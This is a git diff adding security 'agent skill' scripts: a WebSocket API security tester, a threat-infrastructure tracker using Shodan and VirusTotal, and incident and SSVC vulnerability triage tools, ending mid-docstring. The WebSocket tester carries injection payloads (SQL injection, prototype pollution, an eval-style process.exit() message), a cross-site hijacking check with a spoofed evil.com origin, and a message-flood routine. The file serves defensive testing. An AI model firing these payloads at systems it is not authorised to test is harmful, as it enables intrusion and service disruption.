100644 index 00000000..41a0cba7 --- /dev/null +++ b/skills/testing-websocket-api-security/scripts/agent.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +"""Agent for testing WebSocket API security. + +Tests WebSocket endpoints for missing authentication, Cross-Site +WebSocket Hijacking (CSWSH), injection attacks, message flooding, +and authorization bypass vulnerabilities. +""" + +import json +import sys +import asyncio +import time +from pathlib import Path +from datetime import datetime + +try: + import websockets +except ImportError: + websockets = None + +try: + import requests +except ImportError: + requests = None + + +INJECTION_PAYLOADS = [ + '{"action":"admin","data":"test"}', + '{"action":"subscribe","channel":"../admin"}', + '', + "' OR 1=1 --", + '{"__proto__":{"isAdmin":true}}', + '{"action":"eval","code":"process.exit()"}', + "A" * 100000, +] + + +class WebSocketSecurityAgent: + """Tests WebSocket API implementations for vulnerabilities.""" + + def __init__(self, ws_url, http_url=None, output_dir="./websocket_test"): + self.ws_url = ws_url + self.http_url = http_url + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + async def _connect(self, headers=None, origin=None, timeout=5): + if not websockets: + return None + extra = {} + if headers: + extra["additional_headers"] = headers + if origin: + extra["origin"] = origin + try: + return await asyncio.wait_for( + websockets.connect(self.ws_url, **extra), timeout=timeout + ) + except Exception: + return None + + async def test_no_auth(self): + """Test if WebSocket connects without authentication.""" + ws = await self._connect() + if ws: + await ws.send('{"action":"ping"}') + try: + resp = await asyncio.wait_for(ws.recv(), timeout=3) + self.findings.append({"severity": "high", "type": "No Auth on WebSocket", + "detail": "WebSocket accepts connection without credentials"}) + await ws.close() + return {"connected": True, "response": resp[:200]} + except Exception: + await ws.close() + return {"connected": True, "response": None} + return {"connected": False} + + async def test_cswsh(self, evil_origin="https://evil.com"): + """Test Cross-Site WebSocket Hijacking via Origin header.""" + ws = await self._connect(origin=evil_origin) + if ws: + self.findings.append({"severity": "critical", "type": "CSWSH", + "detail": f"WebSocket accepts connection from origin: {evil_origin}"}) + await ws.close() + return {"vulnerable": True, "origin": evil_origin} + return {"vulnerable": False} + + async def test_injection(self, auth_headers=None): + """Send injection payloads through WebSocket messages.""" + ws = await self._connect(headers=auth_headers) + if not ws: + return [] + results = [] + for payload in INJECTION_PAYLOADS: + try: + await ws.send(payload) + resp = await asyncio.wait_for(ws.recv(), timeout=3) + if "error" not in resp.lower() and len(resp) > 10: + results.append({"payload": payload[:80], "response": resp[:200], + "potential_issue": True}) + self.findings.append({"severity": "medium", "type": "Injection Accepted", + "detail": f"Payload accepted: {payload[:50]}"}) + except Exception: + continue + await ws.close() + return results + + async def test_authorization_bypass(self, auth_headers=None): + """Test accessing admin/privileged channels without authorization.""" + ws = await self._connect(headers=auth_headers) + if not ws: + return [] + channels = ["admin", "internal", "debug", "system", "logs", "metrics"] + results = [] + for ch in channels: + try: + await ws.send(json.dumps({"action": "subscribe", "channel": ch})) + resp = await asyncio.wait_for(ws.recv(), timeout=3) + if "error" not in resp.lower() and "denied" not in resp.lower(): + results.append({"channel": ch, "response": resp[:200]}) + self.findings.append({"severity": "high", "type": "Channel Auth Bypass", + "detail": f"Subscribed to restricted channel: {ch}"}) + except Exception: + continue + await ws.close() + return results + + async def test_message_flood(self, count=1000, auth_headers=None): + """Test DoS resilience with message flooding.""" + ws = await self._connect(headers=auth_headers) + if not ws: + return {"error": "connection failed"} + start = time.time() + sent = 0 + for i in range(count): + try: + await ws.send(f'{{"action":"ping","id":{i}}}') + sent += 1 + except Exception: + break + elapsed = time.time() - start + await ws.close() + if sent == count: + self.findings.append({"severity": "medium", "type": "No Rate Limiting", + "detail": f"Accepted {count} messages in {elapsed:.2f}s"}) + return {"sent": sent, "elapsed": round(elapsed, 2), "rate_limited": sent < count} + + def check_upgrade_headers(self): + """Check HTTP upgrade response headers for security issues.""" + if not requests: + return {"error": "requests not available"} + http_url = self.http_url or self.ws_url.replace("ws://", "http://").replace("wss://", "https://") + try: + resp = requests.get(http_url, headers={ + "Upgrade": "websocket", "Connection": "Upgrade", + "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==", + "Sec-WebSocket-Version": "13", + }, timeout=10) + issues = [] + if "Sec-WebSocket-Accept" in resp.headers and resp.status_code == 101: + if "strict-transport-security" not in {k.lower() for k in resp.headers}: + issues.append("Missing HSTS header") + if "x-frame-options" not in {k.lower() for k in resp.headers}: + issues.append("Missing X-Frame-Options") + for issue in issues: + self.findings.append({"severity": "low", "type": "Missing Security Header", + "detail": issue}) + return {"status": resp.status_code, "issues": issues} + except requests.RequestException: + return {"error": "connection failed"} + + async def run_all_tests(self, auth_headers=None): + no_auth = await self.test_no_auth() + cswsh = await self.test_cswsh() + injection = await self.test_injection(auth_headers) + authz = await self.test_authorization_bypass(auth_headers) + flood = await self.test_message_flood(auth_headers=auth_headers) + upgrade = self.check_upgrade_headers() + return { + "no_auth": no_auth, "cswsh": cswsh, "injection": injection, + "authz_bypass": authz, "flood": flood, "upgrade_headers": upgrade, + } + + def generate_report(self, auth_headers=None): + results = asyncio.get_event_loop().run_until_complete(self.run_all_tests(auth_headers)) + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.ws_url, + **results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "websocket_security_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ]") + sys.exit(1) + ws_url = sys.argv[1] + headers = None + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + headers = {"Authorization": f"Bearer {token}"} + agent = WebSocketSecurityAgent(ws_url) + agent.generate_report(headers) + + +if __name__ == "__main__": + main() diff --git a/skills/tracking-threat-actor-infrastructure/LICENSE b/skills/tracking-threat-actor-infrastructure/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/tracking-threat-actor-infrastructure/LICENSE +++ b/skills/tracking-threat-actor-infrastructure/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/tracking-threat-actor-infrastructure/references/api-reference.md b/skills/tracking-threat-actor-infrastructure/references/api-reference.md new file mode 100644 index 00000000..60bd12dd --- /dev/null +++ b/skills/tracking-threat-actor-infrastructure/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Tracking Threat Actor Infrastructure + +## Pivoting Techniques + +| Technique | Source | Discovers | +|-----------|--------|-----------| +| Passive DNS | DNS resolvers | Domains on same IP, historical mappings | +| Reverse WHOIS | Registrar data | Domains by same registrant | +| SSL Certificate | CT logs, direct | Shared certs, SANs, issuers | +| Shodan/Censys | Internet scanning | Open ports, services, banners | +| HTTP fingerprint | Server responses | Body hash, headers, favicon | +| JARM/JA3S | TLS handshake | C2 framework identification | + +## API Endpoints + +| Service | Endpoint | Auth | +|---------|----------|------| +| Shodan Host | `GET /shodan/host/{ip}?key=` | API key | +| VirusTotal IP | `GET /api/v3/ip-addresses/{ip}` | x-apikey header | +| VirusTotal Domain | `GET /api/v3/domains/{domain}` | x-apikey header | +| SecurityTrails | `GET /v1/domain/{d}/subdomains` | APIKEY header | +| RDAP WHOIS | `GET https://rdap.org/domain/{d}` | None | + +## Network Fingerprinting + +| Method | Tool | Description | +|--------|------|-------------| +| JARM | jarm.py | Active TLS server fingerprint | +| JA3S | Zeek/Wireshark | Passive TLS Server Hello hash | +| Favicon hash | Shodan `http.favicon.hash` | mmh3 hash of favicon.ico | +| HTTP body hash | SHA-256 | Response body fingerprint | +| Server banner | HTTP Server header | Software identification | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | API queries to Shodan/VT | +| `ssl` | stdlib | TLS certificate retrieval | +| `socket` | stdlib | DNS resolution, connections | +| `hashlib` | stdlib | Certificate/content fingerprinting | + +## References + +- Shodan API: https://developer.shodan.io/api +- VirusTotal API v3: https://docs.virustotal.com/reference/overview +- Certificate Transparency: https://certificate.transparency.dev/ +- JARM: https://github.com/salesforce/jarm diff --git a/skills/tracking-threat-actor-infrastructure/scripts/agent.py b/skills/tracking-threat-actor-infrastructure/scripts/agent.py new file mode 100644 index 00000000..a62516c2 --- /dev/null +++ b/skills/tracking-threat-actor-infrastructure/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Agent for tracking threat actor infrastructure. + +Uses passive DNS, certificate transparency, Shodan, WHOIS, and +network fingerprinting to discover, pivot across, and map +adversary-controlled infrastructure. +""" + +import json +import sys +import socket +import ssl +import hashlib +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class ThreatInfraTracker: + """Tracks and pivots across threat actor infrastructure.""" + + def __init__(self, shodan_key=None, vt_key=None, output_dir="./threat_infra"): + self.shodan_key = shodan_key + self.vt_key = vt_key + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + self.infrastructure = {} + + def _get(self, url, params=None, headers=None, timeout=10): + if not requests: + return None + try: + return requests.get(url, params=params, headers=headers, timeout=timeout) + except requests.RequestException: + return None + + def query_shodan(self, ip): + """Query Shodan for host information and services.""" + if not self.shodan_key: + return {"error": "No Shodan API key"} + resp = self._get(f"https://api.shodan.io/shodan/host/{ip}", + params={"key": self.shodan_key}) + if resp and resp.status_code == 200: + data = resp.json() + result = { + "ip": ip, "org": data.get("org"), "asn": data.get("asn"), + "os": data.get("os"), "ports": data.get("ports", []), + "hostnames": data.get("hostnames", []), + "vulns": data.get("vulns", []), + "country": data.get("country_code"), + } + self.infrastructure[ip] = result + return result + return None + + def query_virustotal(self, indicator, indicator_type="ip"): + """Query VirusTotal for IP/domain reputation.""" + if not self.vt_key: + return {"error": "No VT API key"} + type_map = {"ip": "ip-addresses", "domain": "domains", "hash": "files"} + endpoint = type_map.get(indicator_type, "ip-addresses") + resp = self._get(f"https://www.virustotal.com/api/v3/{endpoint}/{indicator}", + headers={"x-apikey": self.vt_key}) + if resp and resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + result = { + "indicator": indicator, "type": indicator_type, + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "reputation": data.get("reputation", 0), + } + if stats.get("malicious", 0) > 3: + self.findings.append({"severity": "high", "type": "Malicious Infrastructure", + "detail": f"{indicator} flagged by {stats['malicious']} engines"}) + return result + return None + + def passive_dns_lookup(self, indicator): + """Query passive DNS via SecurityTrails-style API.""" + resp = self._get(f"https://api.securitytrails.com/v1/domain/{indicator}/subdomains", + headers={"APIKEY": "demo"}) + if resp and resp.status_code == 200: + return resp.json().get("subdomains", []) + try: + ips = socket.getaddrinfo(indicator, None) + return list({addr[4][0] for addr in ips}) + except socket.gaierror: + return [] + + def get_ssl_certificate(self, host, port=443): + """Retrieve SSL certificate details for fingerprinting.""" + try: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: + s.settimeout(5) + s.connect((host, port)) + cert = s.getpeercert(binary_form=True) + cert_hash = hashlib.sha256(cert).hexdigest() + der_info = s.getpeercert() + return { + "host": host, "sha256": cert_hash, + "subject": dict(x[0] for x in der_info.get("subject", [])) if der_info else {}, + "issuer": dict(x[0] for x in der_info.get("issuer", [])) if der_info else {}, + "serial": der_info.get("serialNumber") if der_info else None, + "not_after": der_info.get("notAfter") if der_info else None, + } + except Exception: + return None + + def check_whois(self, domain): + """Retrieve WHOIS data via RDAP for pivoting.""" + resp = self._get(f"https://rdap.org/domain/{domain}") + if resp and resp.status_code == 200: + data = resp.json() + registrar = None + for entity in data.get("entities", []): + if "registrar" in entity.get("roles", []): + registrar = entity.get("handle") + return { + "domain": domain, "status": data.get("status", []), + "registrar": registrar, + "nameservers": [ns.get("ldhName") for ns in data.get("nameservers", [])], + } + return None + + def fingerprint_http(self, ip, port=80): + """Fingerprint HTTP server for infrastructure correlation.""" + resp = self._get(f"http://{ip}:{port}/", timeout=5) + if not resp: + return None + headers = dict(resp.headers) + body_hash = hashlib.sha256(resp.content).hexdigest() + return { + "ip": ip, "port": port, "status": resp.status_code, + "server": headers.get("Server"), "content_type": headers.get("Content-Type"), + "body_hash": body_hash, "body_length": len(resp.content), + "headers_of_interest": {k: v for k, v in headers.items() + if k.lower() not in ("date", "content-length", "connection")}, + } + + def pivot_from_ip(self, ip): + """Perform infrastructure pivoting from a known IP.""" + result = {"ip": ip, "shodan": None, "vt": None, "ssl": None, "http": None} + result["shodan"] = self.query_shodan(ip) + result["vt"] = self.query_virustotal(ip, "ip") + result["ssl"] = self.get_ssl_certificate(ip) + result["http"] = self.fingerprint_http(ip) + return result + + def generate_report(self, indicators=None): + results = {} + if indicators: + for ind in indicators: + results[ind] = self.pivot_from_ip(ind) + + report = { + "report_date": datetime.utcnow().isoformat(), + "indicators_analyzed": len(indicators or []), + "pivot_results": results, + "infrastructure_map": self.infrastructure, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "threat_infra_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--shodan-key KEY] [--vt-key KEY]") + sys.exit(1) + indicators = [sys.argv[1]] + shodan_key = vt_key = None + if "--shodan-key" in sys.argv: + shodan_key = sys.argv[sys.argv.index("--shodan-key") + 1] + if "--vt-key" in sys.argv: + vt_key = sys.argv[sys.argv.index("--vt-key") + 1] + agent = ThreatInfraTracker(shodan_key, vt_key) + agent.generate_report(indicators) + + +if __name__ == "__main__": + main() diff --git a/skills/triaging-security-alerts-in-splunk/LICENSE b/skills/triaging-security-alerts-in-splunk/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/triaging-security-alerts-in-splunk/LICENSE +++ b/skills/triaging-security-alerts-in-splunk/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/triaging-security-incident-with-ir-playbook/LICENSE b/skills/triaging-security-incident-with-ir-playbook/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/triaging-security-incident-with-ir-playbook/LICENSE +++ b/skills/triaging-security-incident-with-ir-playbook/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/triaging-security-incident-with-ir-playbook/references/api-reference.md b/skills/triaging-security-incident-with-ir-playbook/references/api-reference.md new file mode 100644 index 00000000..5efcde83 --- /dev/null +++ b/skills/triaging-security-incident-with-ir-playbook/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Triaging Security Incidents with IR Playbooks + +## Incident Classification Types + +| Type | Keywords | Default Severity | Playbook | +|------|----------|-----------------|----------| +| Malware | trojan, ransomware, c2, beacon | High | malware-infection-playbook | +| Phishing | credential harvest, BEC, spear-phishing | Medium | phishing-response-playbook | +| Data Exfiltration | DLP, dns tunnel, large upload | Critical | data-exfiltration-playbook | +| Unauthorized Access | brute force, lateral movement | High | unauthorized-access-playbook | +| Denial of Service | DDoS, SYN flood, volumetric | High | ddos-response-playbook | +| Insider Threat | policy violation, terminated user | High | insider-threat-playbook | +| Web Attack | SQLi, XSS, web shell, RCE | High | web-attack-playbook | + +## Severity Matrix + +| Context Factor | Severity Override | +|----------------|-------------------| +| Crown jewel system affected | Critical | +| Active exploitation confirmed | Critical | +| Multiple systems (>5) affected | High | +| Single system affected | Medium | +| Reconnaissance only | Low | +| Minor policy violation | Informational | + +## Escalation Paths + +| Severity | Response Time | Escalation | +|----------|---------------|------------| +| Critical | 15 minutes | IR Team + CISO + Legal | +| High | 1 hour | SOC Tier 2 + IR Team | +| Medium | 4 hours | SOC Tier 2 | +| Low | 24 hours | SOC Tier 1 | +| Informational | Next business day | SOC Tier 1 | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `json` | stdlib | Alert parsing and report generation | +| `enum` | stdlib | Severity level enumeration | +| `pathlib` | stdlib | Output directory management | +| `datetime` | stdlib | Triage timestamps | + +## References + +- NIST SP 800-61r2: https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final +- SANS Incident Handler's Handbook: https://www.sans.org/white-papers/33901/ +- TheHive: https://thehive-project.org/ diff --git a/skills/triaging-security-incident-with-ir-playbook/scripts/agent.py b/skills/triaging-security-incident-with-ir-playbook/scripts/agent.py new file mode 100644 index 00000000..7ae2665b --- /dev/null +++ b/skills/triaging-security-incident-with-ir-playbook/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +"""Agent for triaging security incidents with IR playbooks. + +Classifies alerts by incident type, assigns severity using a +structured matrix, selects the appropriate IR playbook, and +generates triage decisions with escalation recommendations. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime +from enum import Enum + + +class Severity(str, Enum): + CRITICAL = "critical" + HIGH = "high" + MEDIUM = "medium" + LOW = "low" + INFO = "informational" + + +INCIDENT_TYPES = { + "malware": { + "keywords": ["malware", "trojan", "ransomware", "virus", "worm", "dropper", "c2", "beacon"], + "default_severity": Severity.HIGH, + "playbook": "malware-infection-playbook", + "escalation": "SOC Tier 2 + IR Team", + }, + "phishing": { + "keywords": ["phishing", "credential harvest", "suspicious email", "spear-phishing", "bec"], + "default_severity": Severity.MEDIUM, + "playbook": "phishing-response-playbook", + "escalation": "SOC Tier 2", + }, + "data_exfiltration": { + "keywords": ["exfiltration", "data leak", "dlp", "large upload", "dns tunnel", "unusual transfer"], + "default_severity": Severity.CRITICAL, + "playbook": "data-exfiltration-playbook", + "escalation": "IR Team + CISO", + }, + "unauthorized_access": { + "keywords": ["brute force", "credential stuffing", "privilege escalation", "lateral movement", + "pass-the-hash", "kerberoasting", "golden ticket"], + "default_severity": Severity.HIGH, + "playbook": "unauthorized-access-playbook", + "escalation": "SOC Tier 2 + AD Team", + }, + "denial_of_service": { + "keywords": ["ddos", "dos", "syn flood", "amplification", "volumetric", "resource exhaustion"], + "default_severity": Severity.HIGH, + "playbook": "ddos-response-playbook", + "escalation": "NOC + SOC Tier 2", + }, + "insider_threat": { + "keywords": ["insider", "policy violation", "unauthorized copy", "after hours", "terminated user"], + "default_severity": Severity.HIGH, + "playbook": "insider-threat-playbook", + "escalation": "IR Team + HR + Legal", + }, + "web_attack": { + "keywords": ["sqli", "xss", "rce", "web shell", "injection", "traversal", "deserialization"], + "default_severity": Severity.HIGH, + "playbook": "web-attack-playbook", + "escalation": "SOC Tier 2 + AppSec", + }, +} + +SEVERITY_MATRIX = { + "crown_jewel_affected": Severity.CRITICAL, + "active_exploitation": Severity.CRITICAL, + "multiple_systems": Severity.HIGH, + "single_system": Severity.MEDIUM, + "reconnaissance_only": Severity.LOW, + "policy_violation_minor": Severity.INFO, +} + + +class IncidentTriageAgent: + """Triages security incidents using structured IR playbooks.""" + + def __init__(self, output_dir="./incident_triage"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.triage_results = [] + + def classify_incident(self, alert_text): + """Classify alert into incident type based on keyword matching.""" + alert_lower = alert_text.lower() + scores = {} + for inc_type, config in INCIDENT_TYPES.items(): + score = sum(1 for kw in config["keywords"] if kw in alert_lower) + if score > 0: + scores[inc_type] = score + if not scores: + return {"type": "unknown", "confidence": 0} + best = max(scores, key=scores.get) + return {"type": best, "confidence": scores[best], "all_matches": scores} + + def assess_severity(self, classification, context=None): + """Determine severity using classification and contextual factors.""" + ctx = context or {} + inc_type = classification.get("type", "unknown") + config = INCIDENT_TYPES.get(inc_type, {}) + base_severity = config.get("default_severity", Severity.MEDIUM) + + if ctx.get("crown_jewel_affected"): + return Severity.CRITICAL + if ctx.get("active_exploitation"): + return Severity.CRITICAL + if ctx.get("systems_affected", 1) > 5: + return Severity.HIGH if base_severity != Severity.CRITICAL else Severity.CRITICAL + return base_severity + + def select_playbook(self, classification): + """Select appropriate IR playbook for the incident type.""" + inc_type = classification.get("type", "unknown") + config = INCIDENT_TYPES.get(inc_type) + if not config: + return {"playbook": "generic-incident-playbook", "escalation": "SOC Tier 1"} + return {"playbook": config["playbook"], "escalation": config["escalation"]} + + def build_triage_decision(self, alert_text, context=None): + """Complete triage: classify, assess, assign playbook.""" + classification = self.classify_incident(alert_text) + severity = self.assess_severity(classification, context) + playbook = self.select_playbook(classification) + + decision = { + "timestamp": datetime.utcnow().isoformat(), + "alert_summary": alert_text[:200], + "classification": classification, + "severity": severity.value, + "playbook": playbook["playbook"], + "escalation_to": playbook["escalation"], + "immediate_actions": self._get_immediate_actions(classification["type"], severity), + "containment_needed": severity in (Severity.CRITICAL, Severity.HIGH), + } + self.triage_results.append(decision) + return decision + + def _get_immediate_actions(self, inc_type, severity): + actions = { + "malware": ["Isolate affected host from network", "Collect memory dump", + "Block C2 indicators at firewall", "Preserve disk image"], + "phishing": ["Block sender domain at email gateway", "Search for other recipients", + "Reset credentials if clicked", "Report to anti-phishing service"], + "data_exfiltration": ["Block destination IPs/domains", "Disable compromised account", + "Preserve DLP logs", "Notify legal/compliance"], + "unauthorized_access": ["Disable compromised account", "Reset credentials", + "Review authentication logs", "Check for persistence"], + "denial_of_service": ["Enable DDoS mitigation", "Contact ISP/CDN", + "Capture traffic sample", "Identify attack vector"], + "insider_threat": ["Preserve evidence chain of custody", "Restrict account access", + "Monitor user activity", "Coordinate with HR"], + "web_attack": ["Enable WAF blocking mode", "Capture attack payloads", + "Check for web shells", "Review application logs"], + } + return actions.get(inc_type, ["Acknowledge and investigate", "Escalate to Tier 2"]) + + def prioritize_queue(self, alerts): + """Prioritize multiple alerts by severity and type.""" + severity_order = {Severity.CRITICAL: 0, Severity.HIGH: 1, Severity.MEDIUM: 2, + Severity.LOW: 3, Severity.INFO: 4} + decisions = [self.build_triage_decision(a["text"], a.get("context")) for a in alerts] + decisions.sort(key=lambda d: severity_order.get(Severity(d["severity"]), 5)) + return decisions + + def generate_report(self, alerts=None): + if alerts: + self.prioritize_queue(alerts) + report = { + "report_date": datetime.utcnow().isoformat(), + "total_triaged": len(self.triage_results), + "by_severity": {}, + "triage_decisions": self.triage_results, + } + for d in self.triage_results: + sev = d["severity"] + report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1 + + out = self.output_dir / "incident_triage_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py '' [--crown-jewel] [--active-exploit]") + sys.exit(1) + alert = sys.argv[1] + context = {} + if "--crown-jewel" in sys.argv: + context["crown_jewel_affected"] = True + if "--active-exploit" in sys.argv: + context["active_exploitation"] = True + agent = IncidentTriageAgent() + agent.build_triage_decision(alert, context) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/triaging-security-incident/LICENSE b/skills/triaging-security-incident/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/triaging-security-incident/LICENSE +++ b/skills/triaging-security-incident/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/triaging-vulnerabilities-with-ssvc-framework/LICENSE b/skills/triaging-vulnerabilities-with-ssvc-framework/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/triaging-vulnerabilities-with-ssvc-framework/LICENSE +++ b/skills/triaging-vulnerabilities-with-ssvc-framework/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md b/skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md new file mode 100644 index 00000000..aacfc206 --- /dev/null +++ b/skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Triaging Vulnerabilities with SSVC Framework + +## SSVC Decision Outcomes + +| Decision | Action | Timeline | +|----------|--------|----------| +| Act | Immediate remediation required | 24-48 hours | +| Attend | Urgent, prioritize in current cycle | 1-2 weeks | +| Track* | Monitor closely, schedule remediation | Next patch cycle | +| Track | Standard vulnerability management | Regular cadence | + +## SSVC Decision Points + +| Decision Point | Values | Description | +|----------------|--------|-------------| +| Exploitation | none, poc, active | Current exploitation activity | +| Technical Impact | partial, total | Scope of compromise if exploited | +| Automatability | no, yes | Can exploitation be automated? | +| Mission Prevalence | minimal, support, essential | Asset criticality to mission | + +## Enrichment APIs + +| API | Endpoint | Purpose | +|-----|----------|---------| +| CISA KEV | `known_exploited_vulnerabilities.json` | Active exploitation check | +| FIRST EPSS | `api.first.org/data/v1/epss?cve=` | Exploitation probability | +| NVD | `services.nvd.nist.gov/rest/json/cves/2.0` | CVSS scores, CWE | + +## Decision Tree Key Paths + +| Exploitation | Impact | Automatability | Prevalence | Decision | +|-------------|--------|----------------|------------|----------| +| Active | Total | any | any | Act | +| Active | Partial | Yes | any | Act | +| Active | Partial | No | Essential | Act | +| Active | Partial | No | Support | Attend | +| PoC | Total | Yes | any | Attend | +| PoC | Total | No | any | Track* | +| PoC | Partial | any | any | Track* | +| None | Total | any | any | Track* | +| None | Partial | any | any | Track | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | CISA KEV and EPSS API queries | +| `json` | stdlib | Report generation | +| `pathlib` | stdlib | Output directory management | + +## References + +- CISA SSVC Guide: https://www.cisa.gov/stakeholder-specific-vulnerability-categorization-ssvc +- SEI SSVC Paper: https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=653459 +- FIRST EPSS: https://www.first.org/epss/ +- CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog diff --git a/skills/triaging-vulnerabilities-with-ssvc-framework/scripts/agent.py b/skills/triaging-vulnerabilities-with-ssvc-framework/scripts/agent.py new file mode 100644 index 00000000..5b36ac7f --- /dev/null +++ b/skills/triaging-vulnerabilities-with-ssvc-framework/scripts/agent.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +"""Agent for triaging vulnerabilities with the SSVC framework. + +Implements CISA's Stakeholder-Specific Vulnerability Categorization +decision tree to produce actionable priorities: Track, Track*, +Attend, or Act based on exploitation status, technical impact, +automatability, and mission prevalence. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class ExploitationStatus: + NONE = "none" + POC = "poc" + ACTIVE = "active" + + +class TechnicalImpact: + PARTIAL = "partial" + TOTAL = "total" + + +class Automatability: + NO = "no" + YES = "yes" + + +class MissionPrevalence: + MINIMAL = "minimal" + SUPPORT = "support" + ESSENTIAL = "essential" + + +class SSVCDecision: + TRACK = "Track" + TRACK_STAR = "Track*" + ATTEND = "Attend" + ACT = "Act" + + +SSVC_DECISION_TREE = { + (ExploitationStatus.ACTIVE, TechnicalImpact.TOTAL): SSVCDecision.ACT, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.YES): SSVCDecision.ACT, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.NO, MissionPrevalence.ESSENTIAL): SSVCDecision.ACT, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.NO, MissionPrevalence.SUPPORT): SSVCDecision.ATTEND, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.NO, MissionPrevalence.MINIMAL): SSVCDecision.ATTEND, + (ExploitationStatus.POC, TechnicalImpact.TOTAL, Automatability.YES): SSVCDecision.ATTEND, + (ExploitationStatus.POC, TechnicalImpact.TOTAL, Automatability.NO): SSVCDecision.TRACK_STAR, + (ExploitationStatus.POC, TechnicalImpact.PARTIAL): SSVCDecision.TRACK_STAR, + (ExploitationStatus.NONE, TechnicalImpact.TOTAL): SSVCDecision.TRACK_STAR, + (ExploitationStatus.NONE, TechnicalImpact.PARTIAL): SSVCDecision.TRACK, +} + + +class SSVCTriageAgent: + """Triages vulnerabilities using the SSVC decision tree.""" + + def __init__(self, output_dir="./ssvc_triage"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.results = [] + + def check_cisa_kev(self, cve_id): + """Check if CVE is in CISA Known Exploited Vulnerabilities catalog.""" + if not requests: + return None + resp = None + try: + resp = requests.get( + "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + timeout=15, + ) + except Exception: + return None + if resp and resp.status_code == 200: + data = resp.json() + for vuln in data.get("vulnerabilities", []): + if vuln.get("cveID") == cve_id: + return { + "in_kev": True, + "vendor": vuln.get("vendorProject"), + "product": vuln.get("product"), + "date_added": vuln.get("dateAdded"), + "due_date": vuln.get("dueDate"), + } + return {"in_kev": False} + + def get_epss_score(self, cve_id): + """Get EPSS probability score from FIRST API.""" + if not requests: + return None + try: + resp = requests.get(f"https://api.first.org/data/v1/epss?cve={cve_id}", timeout=10) + if resp and resp.status_code == 200: + data = resp.json().get("data", []) + if data: + return { + "cve": cve_id, + "epss": float(data[0].get("epss", 0)), + "percentile": float(data[0].get("percentile", 0)), + } + except Exception: + pass + return None + + def determine_exploitation(self, cve_id): + """Determine exploitation status using 